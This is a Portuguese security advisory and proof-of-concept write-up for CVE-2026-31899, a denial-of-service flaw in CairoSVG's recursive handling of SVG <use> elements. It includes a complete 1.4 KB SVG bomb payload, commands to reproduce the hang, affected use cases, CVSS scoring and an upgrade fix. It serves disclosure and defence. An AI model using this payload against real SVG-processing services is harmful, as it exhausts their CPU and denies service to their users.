
CVE-2026-31899: DoS exponencial por amplificação recursiva do elemento <use> no CairoSVG (CVSS 7.5 Alta)
Palavras-chave: CVE-2026-31899, CairoSVG, DoS exponencial, bomba SVG, elemento use recursivo, negação de serviço, amplificação XML, vulnerabilidade SVG em Python, CWE-400, consumo descontrolado de recursos, SVG billion laughs
Negação de Serviço Exponencial do CairoSVG (CVE-2026-31899) — Um payload SVG de 1.411 bytes trava a CPU em 100% indefinidamente por meio da amplificação recursiva do elemento .
CairoSVG (~300 mil downloads/semana) é um conversor Python de SVG para PNG/PDF amplamente utilizado. A função use() em cairosvg/defs.py processa recursivamente elementos sem nenhum limite de profundidade ou de contagem. Com 5 níveis de aninhamento e 10 referências em cada nível, um pequeno SVG dispara 10^5 = 100.000 chamadas de renderização — uma variante de "billion laughs" em SVG.
Descoberto por: Kai Aizen — SnailSploit Publicado: 13 de março de 2026 Pontuação CVSS: 7.5 (Alta) CWE: CWE-400 — Consumo Descontrolado de Recursos Pacote: CairoSVG (PyPI) Tipo de Ataque: Negação de Serviço Exponencial Privilégios Necessários: Nenhum (não autenticado)
A função use() em cairosvg/defs.py (linha ~335) resolve recursivamente elementos que referenciam outros elementos . Não há limite de profundidade de recursão nem orçamento total de elementos. Um atacante pode criar um pequeno SVG em que cada camada referencia a camada anterior N vezes, produzindo O(N^depth) chamadas de renderização a partir de O(depth) de entrada.
A vulnerabilidade existe porque:
Com 5 níveis e um fator de ramificação de 10:
Level 0: 1 element (root <use>)
Level 1: 10 elements
Level 2: 100 elements
Level 3: 1,000 elements
Level 4: 10,000 elements
Level 5: 100,000 render calls
Total: 111.111 chamadas de renderização a partir de uma entrada de 1.411 bytes.
<?xml version="1.0"?>
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<defs>
<g id="a"><rect width="1" height="1"/></g>
<g id="b"><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/></g>
<g id="c"><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/></g>
<g id="d"><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/></g>
<g id="e"><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/></g>
</defs>
<use xlink:href="#e"/>
</svg>
Método 1 — Linha de Comando:
timeout 10 cairosvg poc.svg -o test.png
# Expected: timeout kills the process after 10 seconds (it never completes)
Método 2 — Python:
import cairosvg
import signal
signal.alarm(5) # Kill after 5 seconds
try:
cairosvg.svg2png(bytestring=open("poc.svg").read())
except:
print("[!!!] CONFIRMED: CPU exhaustion — process did not complete in 5s")
Qualquer serviço que aceite entrada SVG e use o CairoSVG para processamento está vulnerável:
| Superfície de Ataque | Exemplo |
|---|---|
| Geração de miniaturas |
Uma única requisição com um payload de 1,4KB travará o thread de processamento indefinidamente enquanto consome memória mínima (sem kill por OOM para salvá-lo).
Atualize o CairoSVG para a versão 2.9.0 ou superior:
pip install --upgrade CairoSVG>=2.9.0
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
| Data | Evento |
|---|---|
| 2026-03-09 | CVE reservado |
| 2026-03-13 | Advisory publicado (GHSA-f38f-5xpm-9r7c) |
| 2026-03-13 | CairoSVG 2.9.0 lançado com a correção |
Kai Aizen (SnailSploit)
⚠️ Aviso Legal: Este repositório é apenas para fins educacionais e de pesquisa de segurança autorizada. A prova de conceito é fornecida para ajudar defensores a validar sua exposição. Use com responsabilidade.
O writeup completo, a metodologia e as pesquisas relacionadas deste projeto estão disponíveis em:
Criado por Kai Aizen — pesquisador independente de segurança ofensiva.
snailsploit.com · Pesquisa · Frameworks · GitHub · LinkedIn · ResearchGate · X/Twitter
Mesmo ataque. Substrato diferente.
| Upload de SVG → o servidor converte para PNG |
| Geração de PDF | SVG embutido em documento → o CairoSVG renderiza |
| Processamento de avatar/imagens | Imagens de perfil SVG enviadas pelo usuário |
| Renderização de relatórios | Gráficos SVG em relatórios automatizados |
| Pipelines de CI/CD | Assets SVG processados durante o build |
| Métrica | Valor |
|---|
| Vetor de Ataque | Rede (AV:N) |
| Complexidade do Ataque | Baixa (AC:L) |
| Privilégios Necessários | Nenhum (PR:N) |
| Interação do Usuário | Nenhuma (UI:N) |
| Escopo | Inalterado (S:U) |
| Confidencialidade | Nenhuma (C:N) |
| Integridade | Nenhuma (I:N) |
| Disponibilidade | Alta (A:H) |